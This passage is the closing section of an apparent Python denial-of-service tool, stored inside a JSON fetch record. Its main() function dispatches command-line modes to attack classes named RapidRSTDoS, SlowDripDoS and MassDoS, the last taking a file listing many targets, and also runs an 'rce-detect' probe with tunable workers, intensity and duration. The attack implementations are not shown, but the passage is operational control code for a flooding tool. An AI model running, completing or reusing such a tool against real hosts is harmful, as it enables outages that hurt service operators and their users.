= RapidRSTDoS(\n                target=args.target,\n                port=args.port,\n                workers=args.workers,\n                intensity=args.intensity,\n                use_ssl=use_ssl,\n                timeout=args.timeout,\n                verbose=args.verbose,\n                json_output=args.json_output,\n            )\n            exploit.run()\n\n        elif args.mode == \"slow-drip\":\n            exploit = SlowDripDoS(\n                target=args.target,\n                port=args.port,\n                workers=args.workers,\n                intensity=args.intensity,\n                duration_minutes=args.duration,\n                use_ssl=use_ssl,\n                timeout=args.timeout,\n                json_output=args.json_output,\n            )\n            exploit.run()\n\n        elif args.mode == \"mass\":\n            exploit = MassDoS(\n                targets_file=args.targets,\n                workers_per_target=args.workers,\n                intensity=args.intensity,\n                duration_minutes=args.duration,\n                use_ssl=use_ssl,\n                timeout=args.timeout,\n                json_output=args.json_output,\n            )\n            exploit.run()\n\n        elif args.mode == \"rce-detect\":\n            rce_detect(\n                target=args.target,\n                port=args.port,\n                timeout=args.timeout,\n                json_output=args.json_output,\n            )\n\n    except KeyboardInterrupt:\n        print(c(\"\\n[!] Interrupted by user.\", Color.YELLOW))\n        sys.exit(0)\n    except Exception as e:\n        print(c(f\"\\n[!] Fatal error: {e}\", Color.RED))\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"ee6eec14ad0b8e2795fc78acb209fb1519ec87b48c45ba5af3dafcaf809d2d6b","bytes":37606,"fetchedAt":"2026-11-26T11:05:15.019Z","encoding":"utf-8 (display only; download retains original bytes)"}